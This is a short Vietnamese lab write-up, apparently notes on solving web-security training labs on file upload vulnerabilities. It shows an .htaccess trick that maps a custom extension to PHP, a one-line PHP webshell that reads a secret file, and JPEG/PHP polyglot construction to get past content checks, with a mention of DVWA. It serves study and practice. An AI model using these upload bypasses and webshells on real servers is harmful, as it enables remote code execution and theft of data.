**Bài 1: Chỉnh sửa cấu hình để upload file:**

Bài này không khó nhưng lạ.

Mình thử tải lên tập tin php nhưng không được.

Nhưng biết máy chủ web là apache.

Hướng giải bài này là phải ghi đè cấu hình của máy chủ để tải được file php

Với máy chủ apache sẽ cho phép tải tập tin .htaccess

filename=”.htaccess”

content-type: text/plain

Nội dung: AddType application/x-httpd-php .123t

vì phần mở rộng .php đã bị cấm, mình chỉ có thể thêm phần mở rộng mới là .123t để kích hoạt file php.

Rồi upload webshell.123t

content-type: text/php

Nội dung: <?php echo file\_get\_contents('/home/carlos/secret'); ?>

🡪 Thành công.

**Bài 2: Tải tập tin Polygot:**

Bài này xác thực dựa trên nội dung tập tin. Chúng ta không thể up file php được.

Để giải được bài toán này,ta phải nhúng file php trong jpeg hay còn gọi là polygot.

Cách 1:

rabbit.jpg

webshell.php

cat rabbit.jpg webshell.php > rab.jpg (thành công)

Cách 2:

echo '<?php phpinfo(); ?>' >> nasa.png && mv nasa.png nasa.php

Để kích hoạt được tập tin này, phải đổi phần mở rộng là .php 🡪 rab.php

Vì nó chỉ xác định loại file dựa trên nội dung nên vẫn up được

Nhưng với DVWA, nó xác thực dựa trên nội dung file và phần mở rộng nên không kích hoạt được mã lệnh. Với cách làm đó ,nhưng tên file phải là rab.php.jpeg. Sau đó tìm lỗi command injection, đổi tên file thành rab.php mới kích hoạt được 🡪 thành công.